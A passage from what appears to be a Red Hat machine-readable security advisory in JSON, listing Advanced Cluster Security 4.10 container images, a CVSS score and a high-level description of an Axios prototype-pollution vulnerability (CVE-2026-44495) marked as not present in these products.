"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.7,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Man-in-the-Middle (MITM) attack via Prototype Pollution"
},
{
"cve": "CVE-2026-44495",
"cwe": {
"id": "CWE-915",
"name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
},
"discovery_date": "2026-06-11T17:00:53.999811+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2487937"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, a promise-based HTTP client. This vulnerability involves prototype pollution gadgets in the request configuration processing. If another vulnerability has already polluted the Object.prototype.transformResponse, affected Axios versions may incorrectly interpret this inherited value as part of the request configuration or as an option validator. Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Information disclosure due to prototype pollution vulnerability",
"title": "Vulnerability summary"
},
{
"category": "other",
